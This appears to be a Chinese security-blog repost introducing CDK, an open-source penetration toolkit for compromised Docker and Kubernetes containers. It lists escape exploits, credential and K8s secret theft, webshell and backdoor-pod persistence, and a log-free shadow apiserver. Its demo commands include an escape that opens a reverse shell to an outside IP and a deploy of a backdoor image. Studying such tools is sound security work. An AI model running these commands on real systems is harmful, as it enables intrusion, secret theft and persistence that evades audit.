404星链计划 | CDK:一款针对容器场景的多功能渗透工具

  • A+
所属分类:安全工具

404星链计划 | CDK:一款针对容器场景的多功能渗透工具






404星链计划即将迎来改版更新啦,我们会在项目展示、奖励计划等方面有所优化调整,同时会新收录几个优秀的开源安全工具。在此之前,让我们一同回顾一下星链计划自2020年8月上线以来我们收录过的部分项目,它们中很多已经为大家熟知,成为日常工作的一部分,有些还有待你去探索新的利用方式~ 今天介绍的项目是CDK。


另外欢迎加入404星链计划社群,请在文末识别运营同学二维码,添加时备注“星链计划”。


404星链计划 | CDK:一款针对容器场景的多功能渗透工具


项目名称:CDK

项目作者:CDK-Team

项目地址:

https://github.com/cdk-team/CDK/




CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。


场景介绍


伴随着容器技术的快速发展,容器安全问题也逐渐成为企业所关注的话题。针对容器场景的渗透测试一方面要求攻击者理解对Docker/K8s以及云服务的原理、特性以及漏洞利用方式;另一方面,攻击者通过业务漏洞(如WEB RCE)攻入容器后往往面对的是一个缩减后的容器环境,缺乏常用的linux命令依赖导致渗透效率不佳。
CDK为安全测试人员提供了golang原生的容器环境渗透能力,主要有以下几点:
  1. 评估容器内部弱点、搜集敏感信息。
  2. 提供多种容器逃逸的漏洞利用方式。
  3. 提供K8s环境的多种持久化、横向移动方式。
  4. 提供原生的进程、网络命令,便于测试者自定义攻击操作。


功能


CDK包括三个功能模块
  1. Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
  2. Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
  3. Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。


  • Evaluate 模块

用于本地信息收集,寻找可用的逃逸点,使用 --full 参数时会包含本地文件扫描。

类别 检测点 已支持 详细文档
本地信息收集 OS基本信息 link
本地信息收集 可用的Capabilities link
本地信息收集 可用的Linux命令 link
本地信息收集 挂载情况 link
本地信息收集 网络namespace隔离情况 link
本地信息收集 环境变量 link
本地信息收集 敏感服务 link
本地信息收集 敏感目录及文件 link
本地信息收集 kube-proxy边界绕过(CVE-2020-8558) link
网络探测 K8s Api-server信息 link
网络探测 K8s Service-account信息 link

网络探测

云厂商Metadata API

link



  • Exploit 模块

执行指定的exp。


类别 功能 调用名 已支持 文档
容器逃逸 docker-runc CVE-2019-5736 runc-pwn
容器逃逸 containerd-shim CVE-2020-15257 shim-pwn link
容器逃逸 docker.sock逃逸PoC(docker-in-docker) docker-sock-check link
容器逃逸 docker.sock部署恶意镜像 docker-sock-deploy link
容器逃逸 挂载逃逸(特权容器) mount-disk link
容器逃逸 Cgroup逃逸(特权容器) mount-cgroup link
容器逃逸 Procfs目录挂载逃逸 mount-procfs link
容器逃逸 Ptrace逃逸PoC check-ptrace link
容器逃逸 lxcfs cgroup错误配置逃逸 lxcfs-rw link
容器逃逸 重写Cgroup以访问设备 rewrite-cgroup-devices link
网络探测 K8s组件探测 service-probe link
信息收集 检查和获取Istio元信息 istio-check link
远程控制 反弹shell reverse-shell link
信息窃取 扫描AK及API认证凭据 ak-leakage link
信息窃取 窃取K8s Secrets k8s-secret-dump link
信息窃取 窃取K8s Config k8s-configmap-dump link
持久化 部署WebShell webshell-deploy link
持久化 部署后门Pod k8s-backdoor-daemonset link
持久化 部署影子K8s api-server k8s-shadow-apiserver link
持久化 K8s MITM攻击(CVE-2020-8554) k8s-mitm-clusterip link
持久化 部署K8s CronJob k8s-cronjob link



  • Tool 模块

还原部分常用的Linux命令,解决容器环境缩减的问题。

子命令 描述 已支持 文档
nc
TCP隧道
link
ps
获取进程信息
link
ifconfig
获取网络信息
link
vi
文本编辑
link
kcurl
发包到K8s api-server
link
dcurl
发包到Docker HTTP API


ucurl
发包到Docker Unix Socket
link
rcurl
发包到Docker Registry API


probe
IP/端口扫描
link
kproxy
kubectl代理转发




使用方法


下载可执行文件投递到已攻入的容器内部开始测试:
  • https://github.com/cdk-team/CDK/releases/
命令行参数:
Container DucK
Zero-dependency docker/k8s penetration toolkit by <[email protected]>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki

Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]

Evaluate:
cdk evaluate Gather information to find weekness inside container.
cdk evaluate --full Enable file scan during information gathering.

Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/Xyntax/CDK/wiki

Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl (get|post) <url> <data> Make request to K8s api-server.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
-h --help Show this help msg.
-v --version Show version.



工具演示



  • 评估容器弱点

cdk evaluate --full

404星链计划 | CDK:一款针对容器场景的多功能渗透工具


  • containerd-shim(CVE-2020-15257)漏洞逃逸


通过共享的net namespace向宿主机的containerd-shim进程发起请求,利用其特性反弹宿主机的shell到远端服务器。
./cdk run shim-pwn 47.104.151.168 111

404星链计划 | CDK:一款针对容器场景的多功能渗透工具

  • docker.sock漏洞逃逸

通过本地docker.sock向控制宿主机的docker进程,拉取指定的后门镜像并运行,运行过程中镜像将宿主机的根目录/挂载到容器内部的/host目录下,便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。
# deploy image from dockerhub
./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest

# deploy image from user image registry
./cdk run docker-sock-deploy registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd

404星链计划 | CDK:一款针对容器场景的多功能渗透工具

  • 部署K8s shadow apiserver

向K8s集群中部署一个shadow apiserver,该apiserver具有和集群中现存的apiserver一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。
./cdk run k8s-shadow-apiserver default

404星链计划 | CDK:一款针对容器场景的多功能渗透工具


欢迎加入星链计划社群,入群请添加下方运营同学微信,添加时请备注“星链计划”。

404星链计划 | CDK:一款针对容器场景的多功能渗透工具

404星链计划 | CDK:一款针对容器场景的多功能渗透工具
往 期 热 门
(点击图片跳转)

404星链计划 | CDK:一款针对容器场景的多功能渗透工具

404星链计划 | 抗击黑客:如何利用Elkeid构建入侵检测能力


404星链计划 | CDK:一款针对容器场景的多功能渗透工具

劫持 Golang 编译


404星链计划 | CDK:一款针对容器场景的多功能渗透工具

rdp 协议攻击面与安全性分析


404星链计划 | CDK:一款针对容器场景的多功能渗透工具

原文始发于微信公众号(Seebug漏洞平台):404星链计划 | CDK:一款针对容器场景的多功能渗透工具

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: